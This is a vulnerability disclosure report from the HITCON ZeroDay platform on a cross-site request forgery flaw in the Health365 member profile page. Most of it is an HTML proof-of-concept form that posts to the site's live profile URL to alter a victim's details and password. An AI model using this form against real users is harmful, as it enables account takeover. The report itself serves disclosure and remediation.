Health365 CSRF - HITCON ZeroDay

Vulnerability Detail Report

Vulnerability Overview

  • ZDID: ZD-2019-00949
  •  發信 Vendor: Health365
  • Title: Health365 CSRF
  • Introduction: CSRF

處理狀態

目前狀態

公開
Last Update : 2019/10/29
  • 新提交
  • 已審核
  • 已通報
  • 未回報修補狀況
  • 未複測
  • 公開

處理歷程

  • 2019/08/29 21:13:06 : 新提交 (由 SomeApple 更新此狀態)
  • 2019/08/29 21:14:03 : 新提交 (由 SomeApple 更新此狀態)
  • 2019/08/29 21:14:52 : 新提交 (由 SomeApple 更新此狀態)
  • 2019/08/29 22:36:18 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2019/08/29 22:36:29 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2019/09/02 13:58:43 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2019/09/02 13:58:43 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2019/09/02 13:58:43 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2019/10/29 03:00:05 : 公開 (由 HITCON ZeroDay 平台自動更新)

詳細資料

  • ZDID:ZD-2019-00949
  • 通報者:jk82421 (SomeApple)
  • 風險:低
  • 類型:跨站冒名請求 (Cross-Site Request Forgery, CSRF)

參考資料

攻擊者可經由該漏洞惡意操控使用者帳號進行惡意行為。

漏洞說明: OWASP - Cross-Site Request Forgery (CSRF)
https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)

防禦措施: OWASP - Cross-Site Request Forgery (CSRF) Prevention Cheat Sheet
https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)

相關網址

https://www.health365.com.tw/app/index.php?c=Member&m=Profile

敘述

一開始填寫資訊為
圖片

後來發現 Payload 沒有帶入 request 用的 token,於是自製一個填表單的網頁
圖片

然後送出發現成功
圖片

回去看頁面資訊,發現資訊被更改,密碼也可以成功更改
圖片
下面附上自製網頁 Payload

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>Document</title>
</head>

<body>
    <form id="frmMemberProfile" name="frmMemberProfile" class="text-left" method="POST"
        action="https://www.health365.com.tw/app/index.php?c=Member&m=Profile">

        <input type="hidden" name="postFlag" value="1">
        <input type="hidden" name="hash" value="c15e50907214277df3ebc3961ae2c3cb">

        <div class="row form-group mb20">
            <label for="Account" class="col-xs-12 col-ss-3 col-sm-4 col-form-label">會員帳號</label>
            <div class="col-xs-12 col-ss-9 col-sm-8">
                <p class="custom-text">[email protected]</p>
            </div>
        </div>
        <div class="row form-group mb20">
            <label for="Password" class="col-xs-12 col-ss-3 col-sm-4 col-form-label">修改密碼</label>
            <div class="col-xs-12 col-ss-9 col-sm-8">
                <input type="text" name="passwd" class="form-control" placeholder="請輸入您的密碼" maxlength="20"
                    notnull="" detail="您的密碼">
            </div>
        </div>
        <div class="row form-group mb20">
            <label for="PasswordConfirm" class="col-xs-12 col-ss-3 col-sm-4 col-form-label">再次輸入密碼</label>
            <div class="col-xs-12 col-ss-9 col-sm-8">
                <input type="text" name="confirm_passwd" class="form-control" placeholder="請再輸入一次您的密碼"
                    maxlength="20" notnull="" detail="再次輸入密碼">
            </div>
        </div>
        <div class="row form-group mb20">
            <label for="Name" class="col-xs-12 col-ss-3 col-sm-4 col-form-label">姓名</label>
            <div class="col-xs-12 col-ss-9 col-sm-8">
                <input type="text" name="name" class="form-control" placeholder="例:王小明" maxlength="50" value="123"
                    notnull="true" detail="姓名">
            </div>
        </div>
        <div class="row form-group mb20">
            <label for="Gender" class="col-xs-12 col-ss-3 col-sm-4 col-form-label">性別</label>
            <div class="col-xs-8 col-ss-9 col-sm-8 text-left gender">
                <label class="boy">
                    <input type="radio" name="gender" value="M" notnull="true" detail="性別">
                    男
                </label>
                <label class="girl">
                    <input type="radio" name="gender" value="F" notnull="true" detail="性別">
                    女
                </label>
            </div>
        </div>
        <div class="row form-group mb20">
            <label for="Birthday" class="col-xs-4 col-ss-3 col-sm-4 col-form-label">生日</label>
            <div class="form-row col-xs-12 col-ss-9 col-sm-8">
                <div class="form-group col-xs-4 col-ss-4 col-sm-3">
                    <select name="dob_year" class="form-control" notnull="true" detail="生日年份">
                        <option>年</option>
                        <option value="2001">2001</option>
                        <option value="2000">2000</option>
                        <option value="1999">1999</option>
                        <option value="1998">1998</option>
                        <option value="1997">1997</option>
                        <option value="1996">1996</option>
                        <option value="1995">1995</option>
                        <option value="1994">1994</option>
                        <option value="1993">1993</option>
                        <option value="1992">1992</option>
                        <option value="1991">1991</option>
                        <option value="1990">1990</option>
                        <option value="1989">1989</option>
                        <option value="1988">1988</option>
                        <option value="1987">1987</option>
                        <option value="1986">1986</option>
                        <option value="1985">1985</option>
                        <option value="1984">1984</option>
                        <option value="1983">1983</option>
                        <option value="1982">1982</option>
                        <option value="1981">1981</option>
                        <option value="1980">1980</option>
                        <option value="1979">1979</option>
                        <option value="1978">1978</option>
                        <option value="1977">1977</option>
                        <option value="1976">1976</option>
                        <option value="1975">1975</option>
                        <option value="1974">1974</option>
                        <option value="1973">1973</option>
                        <option value="1972">1972</option>
                        <option value="1971">1971</option>
                        <option value="1970">1970</option>
                        <option value="1969">1969</option>
                        <option value="1968">1968</option>
                        <option value="1967">1967</option>
                        <option value="1966">1966</option>
                        <option value="1965">1965</option>
                        <option value="1964">1964</option>
                        <option value="1963">1963</option>
                        <option value="1962">1962</option>
                        <option value="1961">1961</option>
                        <option value="1960">1960</option>
                        <option value="1959">1959</option>
                        <option value="1958">1958</option>
                        <option value="1957">1957</option>
                        <option value="1956">1956</option>
                        <option value="1955">1955</option>
                        <option value="1954">1954</option>
                        <option value="1953">1953</option>
                        <option value="1952">1952</option>
                        <option value="1951">1951</option>
                        <option value="1950">1950</option>
                        <option value="1949">1949</option>
                        <option value="1948">1948</option>
                        <option value="1947">1947</option>
                        <option value="1946">1946</option>
                        <option value="1945">1945</option>
                        <option value="1944">1944</option>
                        <option value="1943">1943</option>
                        <option value="1942">1942</option>
                        <option value="1941">1941</option>
                        <option value="1940">1940</option>
                        <option value="1939">1939</option>
                        <option value="1938">1938</option>
                        <option value="1937">1937</option>
                        <option value="1936">1936</option>
                        <option value="1935">1935</option>
                        <option value="1934">1934</option>
                        <option value="1933">1933</option>
                        <option value="1932">1932</option>
                        <option value="1931">1931</option>
                        <option value="1930">1930</option>
                        <option value="1929">1929</option>
                        <option value="1928">1928</option>
                        <option value="1927">1927</option>
                        <option value="1926">1926</option>
                        <option value="1925">1925</option>
                        <option value="1924">1924</option>
                        <option value="1923">1923</option>
                        <option value="1922">1922</option>
                        <option value="1921">1921</option>
                        <option value="1920">1920</option>
                        <option value="1919">1919</option>
                        <option value="1918">1918</option>
                        <option value="1917">1917</option>
                        <option value="1916">1916</option>

                    </select>
                </div>
                <div class="form-group col-xs-4 col-ss-4 col-sm-3">
                    <select name="dob_month" class="form-control" notnull="true" detail="生日月份">
                        <option>月</option>
                        <option value="01">01</option>
                        <option value="02">02</option>
                        <option value="03">03</option>
                        <option value="04">04</option>
                        <option value="05">05</option>
                        <option value="06">06</option>
                        <option value="07">07</option>
                        <option value="08">08</option>
                        <option value="09">09</option>
                        <option value="10">10</option>
                        <option value="11">11</option>
                        <option value="12">12</option>
                    </select>
                </div>
                <div class="form-group col-xs-4 col-ss-4 col-sm-3">
                    <select name="dob_day" class="form-control" notnull="true" detail="生日日期">
                        <option>日</option>
                        <option value="01">01</option>
                        <option value="02">02</option>
                        <option value="03">03</option>
                        <option value="04">04</option>
                        <option value="05">05</option>
                        <option value="06">06</option>
                        <option value="07">07</option>
                        <option value="08">08</option>
                        <option value="09">09</option>
                        <option value="10">10</option>
                        <option value="11">11</option>
                        <option value="12">12</option>
                        <option value="13">13</option>
                        <option value="14">14</option>
                        <option value="15">15</option>
                        <option value="16">16</option>
                        <option value="17">17</option>
                        <option value="18">18</option>
                        <option value="19">19</option>
                        <option value="20">20</option>
                        <option value="21">21</option>
                        <option value="22">22</option>
                        <option value="23">23</option>
                        <option value="24">24</option>
                        <option value="25">25</option>
                        <option value="26">26</option>
                        <option value="27">27</option>
                        <option value="28">28</option>
                        <option value="29">29</option>
                        <option value="30">30</option>
                        <option value="31">31</option>
                    </select>
                </div>
            </div>
        </div>
        <div class="row form-group mb20">
            <label for="Email" class="col-xs-12 col-ss-3 col-sm-4 col-form-label">電子郵件信箱</label>
            <div class="col-xs-12 col-ss-9 col-sm-8">
                <input type="text" name="email" class="form-control" placeholder="例:[email protected]"
                    maxlength="50" value="[email protected]" isemail="true" notnull="true" detail="電子郵件信箱">
            </div>
        </div>
        <div class="row form-group mb20">
            <label for="Phone" class="col-xs-12 col-ss-3 col-sm-4 col-form-label">手機號碼</label>
            <div class="col-xs-12 col-ss-9 col-sm-8">
                <input type="text" name="mobile" class="form-control" placeholder="請輸入手機或市話" minlength="10"
                    maxlength="20" value="0987123465" notnull="true" detail="聯絡電話">
            </div>
        </div>
        <div class="row form-group mb20">
            <label for="Address" class="col-xs-4 col-ss-3 col-sm-4 col-form-label">地址</label>
            <input type="hidden" name="country" value="TW">
            <div id="addr_tw" class="form-row col-xs-12 col-ss-9 col-sm-8 text-left">
                <div class="form-group col-xs-4 col-ss-4 col-sm-3" data-role="county" data-name="city" data-value=""
                    data-style="form-control">
                    <select name="city" class="form-control">
                        <option value="">縣市</option>
                        <option value="基隆市">基隆市</option>
                        <option value="台北市">台北市</option>
                        <option value="新北市">新北市</option>
                        <option value="宜蘭縣">宜蘭縣</option>
                        <option value="新竹市">新竹市</option>
                        <option value="新竹縣">新竹縣</option>
                        <option value="桃園市">桃園市</option>
                        <option value="苗栗縣">苗栗縣</option>
                        <option value="台中市">台中市</option>
                        <option value="彰化縣">彰化縣</option>
                        <option value="南投縣">南投縣</option>
                        <option value="嘉義市">嘉義市</option>
                        <option value="嘉義縣">嘉義縣</option>
                        <option value="雲林縣">雲林縣</option>
                        <option value="台南市">台南市</option>
                        <option value="高雄市">高雄市</option>
                        <option value="屏東縣">屏東縣</option>
                        <option value="台東縣">台東縣</option>
                        <option value="花蓮縣">花蓮縣</option>
                        <option value="金門縣">金門縣</option>
                        <option value="連江縣">連江縣</option>
                        <option value="澎湖縣">澎湖縣</option>
                        <option value="南海諸島">南海諸島</option>
                    </select></div>
                <div class="form-group col-xs-4 col-ss-4 col-sm-3" data-role="district" data-name="district"
                    data-value="" data-style="form-control">
                    <select name="district" class="form-control">
                        <option value="">鄉鎮市區</option>
                    </select></div>
                <div class="form-group col-xs-4 col-ss-4 col-sm-3" data-role="zipcode" data-name="zipcode" data-value=""
                    data-style="form-control postal-code">
                    <input type="text" name="zipcode" class="form-control postal-code"></div>
            </div>
        </div>
        <div class="row form-group mb20">
            <label for="Address" class="col-xs-12 col-ss-3 col-sm-4 col-form-label"></label>
            <div class="col-xs-12 col-ss-9 col-sm-8">
                <input type="text" name="address" class="form-control" placeholder="請輸入您的地址" maxlength="200"
                    value="123123" notnull="true" detail="聯絡地址">
            </div>
        </div>
        <div class="row form-group pt15">
            <label for="AccountCode" class="col-xs-6 col-ss-3 col-sm-4 col-form-label">會員推薦碼</label>
            <div class="col-xs-6 col-ss-9 col-sm-8">
                <p class="custom-text" style="line-height: 1.8;">A04662</p>
            </div>
        </div>
        <hr>
        <div class="update">
            <button type="submit" class="btn submit">更新</button>
        </div>
    </form>
</body>

</html>

修補建議

1. 建議搜尋 CSRF 解決方法,基本上就是要為每一次的 Request 加上一個驗證用的 Token 代表說此 Request 真的是從你網站來的

擷圖

留言討論

聯絡組織

 發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。
;